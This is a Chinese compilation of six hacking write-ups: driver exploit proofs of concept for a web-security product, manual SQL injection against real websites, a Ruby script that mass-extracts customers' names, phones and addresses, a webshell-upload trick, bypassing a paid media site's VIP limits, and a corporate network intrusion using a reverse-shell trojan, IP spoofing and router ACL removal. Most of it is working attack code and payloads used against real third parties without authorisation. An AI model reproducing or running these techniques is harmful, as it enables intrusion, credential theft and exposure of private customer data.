以下文章小编为您整理的某网站安全检测系统的一个EOP 0Day,本文共6篇,供大家阅读。本文原稿由网友“jiariu”提供。
篇1:某网站安全检测系统的一个EOP 0Day
继昨晚发现某网站安全监测系统中存在一处鸡肋0Day后,刚又通过纯手工方式发现其存在的一处EOP 0Day,这是我研究漏洞以来第一次在不借助Fuzz的情况下找到0Day。当然,并不是我的洞察力有多强(毕竟我只是一名涉世不深的初学者),而是它的代码实在挫到令人发指——没有金刚钻,何必揽这瓷器活。能在Ring 3层干的事情,为什么非要放在Ring 0来做?更何况做又做不好。简断捷说吧,这个EOP漏洞的成因如下:
这个网站安全监测系统的驱动模块在处理IOCTL_CODE为0x12C80F的IRP时没有对Ring 3层传入的UserBuffer做严格的验证,攻击者如果有机会在机器上运行一个Crafted应用程序,就可能提升权限——以SYSTEM权限执行任意代码。
.text:F8663B33 mov esi, [ebp+Irp] ;ESI points to the IRP
.text:F8663B36 mov eax, [esi+60h] ;EAX points to the IO_STACK_LOCATION
.text:F8663B39 mov ecx, [eax+0Ch] ;ECX equals the DeviceIoControlCode
.text:F8663B3C mov edi, [esi+3Ch] ;EDI equals the UserBuffer in the IRP
.text:F8663B46 sub ecx, 12C80Fh
.text:F8663B4C jz short loc_F8663BC8 ;如果IOCTL_CODE为0x12C80F,则跳转至 loc_F8663BC8
.text:F8663BC8 loc_F8663BC8:
.text:F8663BC8 push edi ;EDI equals the UserBuffer in the IRP
.text:F8663BC9 call sub_F8663A52 ;以从IRP中读取的UserBuffer为参数调用函数sub_F8663A52
函数sub_F8663A52的代码结构非常简单——先是调用了另一个函数sub_F86631FE,然后对返回值做了一番处理,就将其写入到UserBuffer所指向的内存中
.text:F8663A52 mov edi, edi
.text:F8663A54 push ebp
.text:F8663A55 mov ebp, esp
.text:F8663A57 xor eax, eax
.text:F8663A59 inc eax
.text:F8663A5A cmp word_F86678BE, ax
.text:F8663A61 ja short loc_F8663A72
.text:F8663A63 call sub_F86631FE ;调用函数sub_F86631FE
;以下代码为对返回值进行简单的处理
.text:F8663A68 movzx eax, al
.text:F8663A6B neg eax
.text:F8663A6D sbb eax, eax
.text:F8663A6F and eax, 2
.text:F8663A72
.text:F8663A72 loc_F8663A72:
.text:F8663A72 mov ecx, [ebp+arg_0]
.text:F8663A75 mov [ecx], eax ;在没有验证UserBuffer的有效性的情况下就直接进行写内存操作!
.text:F8663A77 pop ebp
.text:F8663A78 retn 4
以下给出一份可导致本地拒绝服务的POC
#include
#include
#define DEVICE_NAME “\\\\\\\\.\\\\WebFireWall”
#define DEVICE_IOCONTROL_CODE 0x12C80F
int main
{
HANDLE hDev=INVALID_HANDLE_VALUE;
int nLen=0;
BOOL bRet=FALSE;
DWORD dwBytCnt=0;
hDev=CreateFile(DEVICE_NAME,
GENERIC_ALL,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (INVALID_HANDLE_VALUE==hDev){
printf(“[*]CreateFile Error Code:%d\\r\\n”,GetLastError());
goto _EXIT;
}
bRet=DeviceIoControl(hDev,DEVICE_IOCONTROL_CODE,
(LPVOID)0x0c0c0c0c,0x4,
(LPVOID)0xc0c0c0c,0x4,
&dwBytCnt,NULL);
if (false==bRet){
printf(“[*]DeviceIoControl Error Code:%d\\r\\n”,GetLastError());
}
else{
printf(“[*]Success!\\r\\n”);
}
_EXIT:
if (INVALID_HANDLE_VALUE!=hDev){
CloseHandle(hDev);
}
getchar();
return 0;
}
可以看到,向0x0C0C0C0C写入一个4字节0时触发内存访问异常,
至于通过这个任意地址写入来EOP,就没必要细说了,懂的人自然会懂
篇2:某网站安全检测系统的一个鸡肋0Day漏洞预警
今天在微博上看到有位前辈推荐了一个所谓驱动级别的WEB安全检测系统,疑心其是不是在内核来实现WAF的功能,于是就下载下来看了看,发现这个系统只有一个驱动模块,拿IDA分析了一下感觉其它只是一个NDIS过滤驱动——实现的一般的防火墙功能。并不是像我想得那样把针对XSS,SQL Injection这类攻击的防御放在驱动层来实现。想到自己工具箱里有驱动漏洞挖掘的神器ioctl_fuzzer,反正闲着也是闲着,就抄起家伙对其一通猛扫,结果虚拟机就BSOD了
随后重新启动虚拟机,并挂上Windbg,再次狂扫一通之后Windbg就捕获到了一个内存访问异常。结合Windbg提供的异常信息,很容易分析清楚这个鸡肋0Day的成因——
这个驱动模块和ring 3层应用程序通信时,交换数据的缓冲方式是非常不靠谱的METHOD_NEITHER,DDK中对这种缓冲方式的描述如下:
“
METHOD_BUFFER
The input buffer's address is supplied byParameters.DeviceIoControl.Type3InputBufferin the driver's IO_STACK_LOCATION structure, and the output buffer's address is specified byIrp->UserBuffer.
”
结合WRK来看,如果使用这种极不靠谱的缓冲方式,IopXxxControlFile在构造IRP时也是非常不负责任的,你看——
case METHOD_NEITHER:
//
// For this case, do nothing. Everything is up to the driver.
// Simply give the driver a copy of the caller's parameters and
// let the driver do everything itself.
//
irp->Flags = 0;
irp->UserBuffer = OutputBuffer;
irpSp->Parameters.DeviceIoControl.Type3InputBuffer = InputBuffer;
注释里说的清清楚楚“Everything is up to the driver”。好吧,如果写Driver的那个程序员也很不负责任,不对这个InputBuffer做有效的检验,那攻击者就有福了
.text:F8643BED mov eax, [ebp+Irp]
.text:F8643BF0 mov eax, [eax+60h] ;EAX points to the IO_STACK_LOCATION
.text:F8643BF3 mov edx, [eax+10h] ;EDX equals the irpSp->Parameters.DeviceIoControl.Type3InputBuffer
随后有多处从EDX所指向内存读取数据的操作“movzx eax, word ptr [edx]”,但都无一例外的没有多内存地址的有效性做检验(最基本的cmp或者test都没有,更不用说ProbeForRead了),
所以如果传入一个很猥琐的地址,BSOD就是必须得了。以下是一个可造成本地拒绝服务的POC
#include
#include
#define DEVICE_NAME “\\\\\\\\.\\\\WebFireWall”
#define DEVICE_IOCONTROL_CODE 0x0012c84f
#define MALICIOUS_ADDRESS 0x0c0c0c0c
int main()
{
HANDLE hDev=INVALID_HANDLE_VALUE;
int nLen=0;
BOOL bRet=FALSE;
DWORD dwBytCnt=0;
hDev=CreateFile(DEVICE_NAME,
GENERIC_ALL,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (INVALID_HANDLE_VALUE==hDev){
printf(“[*]CreateFile Error Code:%d\\r\\n”,GetLastError());
goto _EXIT;
}
bRet=DeviceIoControl(hDev,DEVICE_IOCONTROL_CODE,
(LPVOID)MALICIOUS_ADDRESS ,
0x36,
(LPVOID)MALICIOUS_ADDRESS,
0x60,
&dwBytCnt,NULL);
if (false==bRet){
printf(“[*]DeviceIoControl Error Code:%d\\r\\n”,GetLastError());
}
else{
printf(“[*]Success!\\r\\n”);
}
_EXIT:
if (INVALID_HANDLE_VALUE!=hDev){
CloseHandle(hDev);
}
getchar();
return 0;
}
篇3:某网站安全检测之数据库手工注入脚本安全
一、引子
长夜慢慢,无心睡眠……
无意中翻到几年前听的一首名为《祖先的阴影》的摇滚,这么长久的历史,混合着许多的罪恶与功绩;这么“灿烂的文化”,夹杂着太多的愚昧与文明,美好的,如汉字,围棋古筝,诗词曲赋等;糟糕的,如一辈子只会干“杀尽叛贼、占据王位,选好王妃,建造坟堆”四件事的皇帝及官僚制度,小脚,太监及八股文等等。
噢,且慢,八股文——不要言之过早!今天,让我用八股文这一旧瓶,来包装一下IT方面的新酒;把数据库注入这一有几个年头的安全技术,再写一篇略有新意的文章。
二、概要
所谓数据库注入,也就是SQL Injection,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。来自官方的说法是:“当应用程序使用输入内容来构造动态SQL语句以访问数据库时,会发生SQL注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生SQL注入攻击。SQL注入可能导致攻击者能够使用应用程序登录在数据库中执行命令。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。”在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入攻击。而许多网站程序在编写时,没有对用户输入数据的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样用户就可以提交一段数据库查询代码,(一般是在浏览器地址栏进行,通过正常的www端口访问)根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是SQL注入产生了。其实简单点说,SQL注入的原理就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。
当然,能不能构造、构造什么样的数据库查询代码,就有是菜鸟和高手的区别了;同时我向大伙保证:我绝不是高手——我基本上连数据库都不会用,所以大伙看了文章后不要问我太多太深的问题,因为我也不知道。
三、检测
查找资料的过程中,被链接到某电信技术研究院网站,看了一下首页代码及链接,用and和or简单测试了一下,没发现什么,在最后快要放弃的时候,发现如下页面有点意思。
1=1(不正常)
1=2(也不正常)
加一个特殊符号,则如下图示。
(返回正常)
(返回异常)
嘿嘿,存在注入,心花怒放!
四、暴库
上面就可以知道该网站后台数据库是MS SQL Server。
(select count(*) from [sysobjects])>=0(返回正常,可见数据库为SQL Server)
探测该网站数据库实例名,我很幸运,竟然通过错误暴出来,请看下图。
SQL Server中DB_NAME 最大值是NVARCHAR(128),我提交错误,网站也报错,看红色下划线处和红色长方形里,可见数据库实例名为jstrd。
五、寻表
漫长而痛苦的工作开始了,同时因为在创建一个数据库的同时,系统会自动建立一些系统表,我构造了如下的语句,来探测数据库实例jstrd中的表名。
限于篇幅的缘故我在这里只介绍与应用实例有关的一个系统表(SYSOBJECTS)及其相关的字段。
表SYSOBJECTS为数据库内创建的每个对象(约束,规则,表,视图,触发器等)创建一条记录。该表相关字段的含义如下:
SYSOBJECTS.name 对象名,如:表名,视图名。
SYSOBJECTS.id 对象id。
SYSOBJECTS.type 对象类型(p存储过程,v视图,s系统表,u用户表)。
太帅了,返回正确,提交的“系统态”语句是:
*/show_products.asp?id=22%27%20and%20%28Select%20count%28%2a%29%20from%20jstrd..%5bsysobjects%5d%20where%20xtype=char%28117%29%20and%20left%28jstrd..%5bsysobjects%5d.name%2c0%29=char%2832%29%20and%20len%28jstrd..%5bsysobjects%5d.name%29%3e0%29%3e0%20and%20%271%27=%271&classid=1
翻译成我们容易识别的“用户态”(以后都用这种形式表示)是:
*/show_products.asp?id=22'and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,0)=char(32) and len(jstrd..[sysobjects].name)>0 and abs(ascii(substring(jstrd..[sysobjects].name,1,1)))<=67)>0 and '1'='1&classid=1
或许各位要懵了,这都是些什么东西啊,乱七八糟的?我笑而不答,谜底将在后面揭开。但事先点一下:
xtype是那张表的一个字段,xtype=char(117) 也就是xtype='U' 意思是取用户的表。空格(Space)的ASCII编码是32。
历经多次的失败后,在如下语句输入时,探测到我认为是存储用户名和密码的一张表(之前也探测到别的表,但我认为对自己没有用,
并且要说一下的是当我探测到有TblAd之后,我直觉得加上了TblAdmin;后来发现还没完,有TblAdminUs之后,我直觉得加上了TblAdminUser)。
*/show_products.asp?id=22'and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,11)=CHAR(84)+CHAR(98)+CHAR(108)+CHAR(65)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)+CHAR(85)+CHAR(115)+CHAR(101) and len(jstrd..[sysobjects].name)>11 and abs(ascii(substring(jstrd..[sysobjects].name,12,1)))=114)>0 and '1'='1&classid=1
可见有TblAdminUser这么一张表,我们可以再测试一下,如下图。
and (select count(*) from TblAdminUser)>0
六、探列
各位看到这里,上面的谜底很可能都明白了。什么,还有不明白的!那好,告诉你:网站及后台系统理会我上面所说的“系统态”,不理会“用户态”。你们看看如下两个表。
(部分Unicode编码表)
(部分ASCII编码表)
刚才寻到了表,现在我们的工作是探列了,综合运用上面提到过的知识,加上我的直觉猜测里面应该就有username和password两个列,果然!请看下图。
*/show_products.asp?id=22'and (Select count(*) from jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].username,0)=char(32) and len(jstrd..[TblAdminUser].username)>0)>0 and '1'='1&classid=1
*/show_products.asp?id=22'and (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))=106)>0 and '1'='1&classid=1
七、结果
冲锋的号角已经响起,胜利在望;可“行百里者,半于九十”,真正要花大半功夫的地方,也在这。
*/show_products.asp?id=22'%20and%20(Select%20count(*)%20From%20jstrd..[TblAdminUser]%20where%20%20left(jstrd..[TblAdminUser].username,0)=char(32)%20and%20len(jstrd..[TblAdminUser].username)>0%20and%20abs(ascii(substring(jstrd..[TblAdminUser].username,1,1)))=97)>0%20and%20'1'='1&classid=1
可见username列中,第一个字符是a (ASCII编码为97),很快,就猜测到了是admin。
判断password列中,第一个字符应该在g之后,如下图示。
*/show_products.asp?id=22' (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))>103)>0 and '1'='1&classid=1and
很快,就猜到了是j,呵呵,有点意思。如下图示。
*/show_products.asp?id=22'and (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))=106)>0 and '1'='1&classid=1
历经千辛万苦后,我终于找到了全部密码,竟然是*********
轻松找到后台,登陆,果然正确!如下图示。
八、尾声
因为这份文档主要侧重数据库手工注入,所以注入成功获得网站控制权后的进一步渗透不作介绍。在这里,是我抛出一块破砖,引大伙收获更多的良玉。个人感觉,注入能成功,得益于以下三点:
1、Unicode编码和ASCII编码的应用;
2、系统会自动建立的系统表sysobjects的应用;
3、db_name最大长度128的应用,加上一些直觉判断。
整个过程,耗了近一个星期的业余时间,此时,又是一个深夜……
夜色沉沉,睡意浓浓。
篇4:某商业网站渗透分析网站安全
本次渗透分析仅针对WEB系统,考虑其他方面并没有直接可攻破的点
平台: Windows MSSQL IIS 6.0 测试层面: WEB应用程序-动易
由于本人对动易2006并不熟悉,虽然通过GOOGLE查了很多相关的漏洞信息,但是那些漏洞的发布日期已经有4,5年的历史了,只好先整体看看这个WEB的结构,通过首页发现除了注册和登录那里可以到有ASP脚本的踪迹外,其他地址都已经转换成了静态页面,于是注册一个测试帐号,登录进去,里面有些相关帐号信息设置和订单信息的项目,但是在帐号信息设置里没有发现比较明显可以造成漏洞的提交点,这个时候要变换思路了.
重新查看首页,中上部有一个搜索功能,于是马上提交一个单引号,测试返回结果令人振奋,结果如下:
Microsoft OLE DB Provider for SQL Server错误 '80040e14'
字符串 ' order by Hits desc' 之前有未闭合的引号,
/shop/proclass.asp,行 629
这该不会是WEB开发人员自己添加的功能吧,还是动易2006的功能,按道理动易2006经历了这么多的风风雨雨不会犯下愚蠢的错误的,这仅仅是一个猜测,我还没有下载源代码或者看代码文档作出合理判断。
但不管怎么说,这个SQL注入点是一个好兆头,既然是注入点,当然要测试一下一些基本的SQL语句,看能否得到一个敏感信息,于是提交‘ and 1=user--,结果返回空白页面,奇怪。。。难道有过滤?使用比较少见的’ having 1=1--有了返回结果,但是提示语法错误,可以肯定该WEB系统装了类似WAF或者有脚本过滤功能,搜索功能是通过POST提交参数,而且如果想通过自动化工具利用的话,也得抓包分析出其中的提交参数,于是乎请出WinSockExpert,得到路径和参数信息后,先用IE测试一下,结果令人很失望,GET方式过滤的比POST要更加严格,就连单引号已经被过滤,汗。。。填到NBSI里,不论是GET还是POST方式运行都提示错误,看来这个搜索功能的SELECT WERE有不可告人的语法哦,先放一边。
既然有此物也会有彼物的,请出伟大的GOOGLE帮忙吧,site:xxx.com filetype:asp,不错,有很多ASP的连接,其中www.xxxx.com/Shop/ShowTrademark.asp?ChannelID=100&SpecialID=4这个连接是最抢眼的,放入IE,在SpecialID=4之后加单引号,返回到首页,%100的肯定了有SQL注入过滤功能,但是别忘记POST是不能过滤的太严格的,不然用户也要提交一些有特殊符号的内容的,这就是我要钻空子的地方了,接下来用到了JCZ的注入工具,为啥用它呢,因为作者比较厚道,提供了一个查看DEBUG信息和一个自己构造SQL语句功能,可想而知作者是多么希望使用他工具的人不仅仅是会用工具,还是能理解原理的人。
在JCZ中,运行的结果出现了该WEB应用程序的数据库连接帐号是SA权限,支持多语句,数据库名,用户名一些基本信息,但是在进行到测试表名的时候出现了错误,说明被过滤功能阻挡了,怎么办???仅仅这些基本的信息是万万不能有啥突破的。
接下来通过查看JCZ的DEBUG信息,大概猜测过滤了哪些SQL语句,那么就要想办法绕过限制,JCZ的RunSQL功能是一个很好尝试的地方,单独的SELECT是无法执行了,于是想到了uion select的方式,测试结果是理想的,成功的绕过了限制,构造语句如下:/**/and/**/1=2/**/union%20all select%201,2,3,password,5,'a',7,8,9,10,11,'b',13 from PE_Admin—此语句的构造过程一波三折,首先字段数量不难点,纯属体力活,但是中间的几个字段注意类型,如果与前面SQL语句的类型不匹配就会发生错误,另外还有union 后面的all,如果不加会发生如下错误:不能以 distinct 方式选择 text、ntext 或 image 数据类型,这说明了在前面的SELECT语句后使用了DISTINCT的限制关键词
语法解释:SQL SELECT DISTINCT 语句,在表中,可能会包含重复值。这并不成问题,不过,有时您也许希望仅仅列出不同(distinct)的值。
关键词 DISTINCT 用于返回唯一不同的值,UNION 和 UNION ALL的区别,UNION在进行表链接后会筛选掉重复的记录,所以在表链接后会对所产生的结果集进行排序运算,删除重复的记录再返回结果。
而UNION ALL只是简单的将两个结果合并后就返回。这样,如果返回的两个结果集中有重复的数据,那么返回的结果集就会包含重复的数据了,了解语法后就很容易理解为什么要用union all了,因为关键词DISTINCT和UNION都有相同的取出重复值的功能,一起共处难免会让MSSQL难堪的:)
好了,通过上面语句我得到了后台管理员的用户名和密码,这里用XXX表示,那么就找后台路径去登录了,这里又是一个难点,我试过了常用的路径名,甚至动用了扫路径工具都无功而返,郁闷啊,思考好久,不如先放下?!看看这个IP绑定有哪些WEB吧,运气不错,有4个,其中一个WEB也使用动易2006,但是观察页面,和xxx不同的是,我根本看不到注册和登录的连接,于是通过xxx的路径信息,访问到了这个站的注册页面和登录页面,比较幸运的是,在我注册登录进去以后,在最下边发现了,后台管理的连接地址,根据这个地址我折回xxx访问后台,BINGO,原来这个服务器的WEB应用是同一个人或者组织维护的
但我满怀欣喜打开xxx的后台,正好登录的时候发现,在密码框之后还有一个管理员认证码,本来以为不就一个认证码嘛,我再注入得到就好了,但是通过查找动易文档,此管理认证码写到一个固定的配置文件中,只能有管理员才可查看和修改,一座大山突然出现在了我面前
痛苦之余,想了点别的,既然通过别的站点得到后台路径信息,那么可否通过xxx的注入点路径信息得到别的站点的管理员密码呢,但我访问的时候,又一次被深深的打击了一下,结果如下:对不起,你的服务器没有安装动易组件(PE_Common6.dll),所以不能使用动易系统。请和你的空间商联系以安装动易组件。
不能说一点收获也没有,至少我知道这个注入点是动易2006的一个组件造成的!
都已经可以执行SQL语句了,怎么可以就这样放弃,除了SELECT,我认为最好可以执行UPDATE,因为有这样一个事实:在基于WINDOWS 2003系统上,IIS6.0中,如果WEB路径的名字是一个X.ASP,那么在这个路径之下的所有任意类型的文件都会被当作ASP脚本解析,而且我查了动易2006有过这么一个漏洞,漏洞的要点在注册用户名的时候,没有过滤特殊字符点,导致可以注册一个X.ASP的用户名,然后通过访问user/Upload.asp?dialogtype=UserBlogPic&size=5,可以上传允许扩展名类型的文件上去,但内容可以是ASP类型的WEBSHELL,上传成功后,查看源代码,可以找到上传文件的路径信息。
这个事实阐述还是蛮长的,但是我眼前这个动易2006已经早就有了补丁,只允许字母和数字做为用户名,才能注册成功,但是如果我可以UPDATE更新我的用户名称X.ASP也可以达到目的吗,这叫间接实现老漏洞,呵呵,但我第一次构造好语句:;update/**/PE_USER/**/set/**/username='x.asp' where userid=xxx—提交后,HTTP返回无内容,又一次被过滤了,通过测试本地的MSSQL2000,update关键词是没办法拆分的,如果利用EXE(@sql),然后将@sql里用十六进制加密呢,通用过滤declare,cast,varchar等等所必需的元素,这条路也走不通,如果在update之前也加个/**/会怎么样呢,第二次构造好语句:;/**/update/**/PE_USER/**/set/**/username='x.asp' where userid=xxxx—哈哈,有内容返回了,我相信已经更新成功,但我再次通过邮箱登录该帐号以后,在帐号信息了,发现用户名已经是x.asp了,非常的不错,我上传了一个很小的WEBSHELL,为了过愚蠢的图片验证机制,开头加GIF89a,上传成功,查看源代码,又一座大山出现在我面前;路径是有x.asp了,但是后面竟然有5个数字,仔细一看,正好是我的userid,破坏了我当初想的通过x.asp执行WEBSHELL的思路了,我很佩服动易的开发人员,为了程序安全,增加了很多安全机制在里面,下面代码是通过注入点得到所有订单用户的敏感信息:
测试代码 Httpsql.rb:
Code:[Copy to clipboard]
require 'uri'
require 'net/http'
require 'socket'
require 'iconv'
class Httpsql
def initialize(url)
@url = url
@uri = URI.parse(@url)
@i = 5
end
def Postsql(sqlstr, userid, startid=1)
http = Net::HTTP.new(@uri.host, @uri.port)
headers = {
'Content-Type' =>'application/x-www-form-urlencoded'
}
(startid..userid.to_i).step(1) do |id|
print “#” + id.to_s
params_1 = sprintf(sqlstr, “Username”, “ContacterName”,id)
params_2 = sprintf(sqlstr, “Mobile”, “Phone”,id)
params_3 = sprintf(sqlstr, “ZipCode”, “Address”, id)
begin
resp_1 = http.post(@uri.path, params_1, headers)
self.wirtelog(resp_1, “1”)
resp_2 = http.post(@uri.path, params_2, headers)
self.wirtelog(resp_2, “2”)
resp_3 = http.post(@uri.path, params_3, headers)
self.wirtelog(resp_3, “3”)
rescue
@i += 1
sleep(@i);
retry
end
sleep(@i);
end
end
def wirtelog(resp, flag)
#puts resp.body
file = File.new(“userinfo.txt”, “a”)
if resp.body =~ /^
(.*?)
if flag == “1”
file.puts “============================================================”
file.puts “网站用户名: ” + $1
elsif flag == “2”
file.puts “手机号: ” + $1
else
file.puts “邮政编码: ” + $1
end
end
if resp.body =~ /
(.*?)<\\/P>/
if flag == “1”
file.puts “真名: ” + $1
elsif flag == “2”
file.puts “座机: ” + $1
else
file.puts “联系地址: ” + $1
file.puts “============================================================”
end
end
file.close
end
end
if __FILE__ == $0
sqlsend = Httpsql.new(“www.xxx.com/Shop/ShowTrademark.asp”)
sqlstr = “?ChannelID=100&SpecialID=4/**/and/**/1=2/**/union/**/all/**/select/**/1,2,3,%s,5,'无',7,8,9,10,11,%s,13/**/from/**/PE_OrderForm/**/where/**/ClientID=%s--”
sqlsend.Postsql(sqlstr, ARGV[1],ARGV[0].to_i)
end
篇5:教你如何巧取某网站多媒体文件网站安全
笔者的一个朋友喜欢上一个著名的胎教网(www.taijiaobb.cn),在该胎教网上可以听取胎教音乐和胎教故事,网站主要针对两种用户提供服务,即普通用户和VIP用户,VIP用户需要付出150大洋,然后可以优先听取胎教音乐和胎教故事,如果是普通用户,则在某些时段无法给宝宝享用,于是就萌发了将这些mp3等媒体文家下载到本地来,通过研究分析,本人找到了两个方法来获取这些文件,下面就将研究结果跟大家分享。
一、本地临时文件夹获取
通过分析音乐文件的播放时间和播放方式,可以得出该网站提供的媒体文件不可能在服务器上直接播放,如果在线直接播放将导致成本过高,且技术实现难度大,维护起来也不方便,因此可能的途径有两种,一种是媒体文件在服务器上,另外一种媒体文件在网络上。两种方式都是将媒体文家下载到本地进行播放,顺着这种思路,理所当然的去临时文件夹中寻找这些媒体文件。
1.快速获知临时文件夹内容
运行金山安全百宝箱,单击“垃圾文件清理”,单击“网页历史文件夹”,如图1所示,软件会自动按照文件大小进行列表,在该列表中就有胎教网所下载的媒体文件。选中文件名,右键单击,然后选中打开文件所在文件夹可以快速进去该媒体文件所在的具体位置。
图1 快捷获取临时文件夹下的内容
说明:
(1)Windows 系统默认会隐藏系统文件,因此如果想要查看这些文件还需要进行文件夹设置,在资源管理器中单击“工具”-“文件夹选项”,如图2所示去掉“显示系统文件夹的内容”和“隐藏受保护的操作系统文件(推荐)”前面的勾,同时在隐藏文件和文件夹中选中“显示所有文件和文件夹”选项,单击“确定”按钮完成设置。
图2设置文件夹选项
(2)命令行方式进入。以默认管理员身份进入则执行以下命令:
Cd C:\\Documents and Settings\\Administrator\\Local Settings\\Temporary Internet Files\\Content.IE5
start.
2.查看临时文件目录中的内容
在“Content.IE5”目录下选择任意一个文件夹,在本例中选择“P423WU53”接着会出现一个提示“该页包含未知的潜在安全隐患,是否继续?”选择“是”,如图3所示,从中可以看到一些临时的文件,
在该文件目录中主要是网页临时生成的文件、图片、JS脚本以及媒体文件等。如图4所示,在该文件夹中出现了曾经播放过的胎教故事声音文件“长发妹.mp3”。
图3查看临时文件目录中的内容
图4 获取媒体文件
3.获取并整理下载文件
回到上一级Content.IE5目录,选中这些目录将其全部删除掉,然后再次打开胎教网
进入到胎教故事页面“www.taijiaobb.cn/bbs/forum-271-1.html”,随机听取一个胎教故事,然后再到Content.IE5目录刷新并查看,发现其中生成了数个临时目录。依次查看临时目录文件,在查看到“EJMHP3SC”时,其中就有正在播放的媒体文件。按照这个方法一个个听完,然后到临时目录中将其复制出来即可。
技巧:
(1)突破VIP会员限制。在播放过程中经常会遇到VIP会员占用通道,请稍后重试。多次刷新即可正常访问。
(2)获取文件的正常播放时间。该网站媒体播放文件是即时下载即时播放,即下载多少播放多少,要获取正确的媒体文件需要完整听取整个文件,为了保证获取完整的媒体文件,因此需要进行时间验证。打开胎教故事后,如图5所示会显示文件的播放时间,播放时间由两个部分组成,前面是已经播放的时间,后面是文件的整个播放时间。记住这个播放时间,然后在临时文件目录中找到对应的媒体文件,选择查看文件“属性”-“摘要”,在摘要标签下面的持续时间会显示该文件的整个播放时间,如果两个时间一致获知相差1秒,则这个文件下载完整。
图5获取媒体文件完整播放时间
图6 比对下载文件的播放时间
3.快速下载多个文件
使用前面的方法要下载所有的文件还是比较费时,通过研究可以同时打开多个媒体文件,使其进行播放,播放后即可停止,而该文件会继续进行下载到本地临时文件。
篇6:渗透某知名公司内部网络网站安全
这个网络很大共有七个网管,现在当前位置是F网、朋友在B网、目标在A网,
朋友给的资料,目前接入internet的两台设备未知(假设未知的设备都是路由器),图2是该公司大体的网络拓扑图。掌握B网所有设备用户名密码(朋友之前嗅探到的)。除A网其它网络可以自由通信, A网内有公司重要信息所以不像其它网,它是不允许任何人访问的,路由不给予转发数据,也就是只进不出的网络,虽然现在的网络是外紧内松,但是想进入目标主 机还是有些难度。怎么跨过设备的限制到达目标呢!您还要向下看。现在首要的目的就是让router3给我们转发数据包。
首先尝试telnet登录路由,拒绝访问不能登录,我想也不能登录,应该是访问控制列表限制了。
现在我们首要目标拿下router3的控制权,为什么目标定位在router3呢!
我们现在知道他的登录密码;
我当前位置可以和B网直接通信;
Router3是A、B网络公用的,应该两个网管都有权限登录;
这一点也是最重要的,只有router3给予数据转发才可以和目标主机通信;
个人认为router3是最佳路线,现在假设一下,如果B网管理员所管理的设备只有他本身所用的IP或TFTP Server(兼DHCP Server)才可以登录设置,那么有如下思路可以完成入侵。一般来说管理员主机一定可以登录这台路由器的,网管主机都不可以登录设备那么谁为维护网络 呢!
1、直接得到B网管理员主机的一个CMDShell来登录设备。
2、得到管理员同网段一台主机的CMDShell,从而利用ARP欺骗来telnet目标路由。
3、得到B网其它网段中可访问外部网络一台主机的CDM Shell,伪装CDM Shell主机IP地址,必要情况伪装IP+MAC地址来欺骗路由器,(机会高达到50%)。
经过分析拿B网的DHCP服务器(172.16.101.25)开始,选择突破点也是很重要的,DHCP服务器为了提供这个网段的服务他是暴露在相对 外部的,而且不在VLAN的管辖中,还和网管在同一交换机下,而且听朋友说他们公司PC几乎不打补丁,还有很多员工不知补丁为何物,这也给入侵带来及大 的方便。利用服务器的WEB木马上传一些流行的溢出程序,直接拿个溢出程序溢出他的DHCP服务器,(最后才知道2003年的溢出程序对这个主机都有 用)成功得到一个System权限的CMDShell。
革命尚未成功,同志们还须努力啊!“下载”我们肉鸡一个反弹的木马,我们的肉鸡是不能主动连接DHCP服务的,好像有点费话。现在这个主机就是我们在 内网的一个接入点,放弃我们刚才控制的那个WEB主机,利用反弹木马开的个CMD。telnet一下路由,%connection closed by remote host!还是连接失败,不能登录路由器,看样只有172.16.101.15这台主机(管理员IP)可以登录了,我们看一下登录他的交换机OK不(一般 工作组交换机权限设置不会那么BT)。
telnet 172.16.101.253 //交换机管理地址
Password:
center>enable
Password:
成功登录,show mac-access、show cdp neighbors、show arp一些命令判断管理员对应的结口,管理员的IP对应的是FastEthernet 7/1,这个时候要用到IP地址的欺骗,在此感谢EST长的最难看的哥哥。
#interface FastEthernet 7/1
#shutdown
当然,这要等网管离开的时候才可以,这就要内外结合了。这个时候172.16.101.15这台主机在网络上以消失了,我们试一下路由是否允许网管的主机登录,把自己的IP改成172.16.101.15,输入:
netsh >interface ip
netsh interface ip >dump看一下接口配置信息
netsh interface ip >set address name = ″本地连接″ source = static addr = 172.16.101.15 mask = 255.255.255.0
这时候当前主机地址改为172.16.101.15,现在这个主机会和我断掉,但只是一小会,我们的反弹木马一会就能上线。一般重新变改IP地址要发 个ARP包告诉网络其它主机,大概意思是我的IP是172.16.101.15,MAC地址是00-00-00-00-12-34,以后有发往 172.16.101.15地址的数据包都有我来响应。交换机刷新地址表后这台主机伪装成功。在telnet登录路由器,如图2
show running-config看一下配置信息,把路由配置信息COPY到记事本在分析,找到如下配置信息。
access-list 99 172.16.8.88 0.0.0.0 //A网管理员地址
access-list 99 172.16.101.15 0.0.0.0
访问列表99限制只有以上两个IP可以登录路由,看来是这个家伙在作怪,
删除99访问列表,在添加99访问列表:
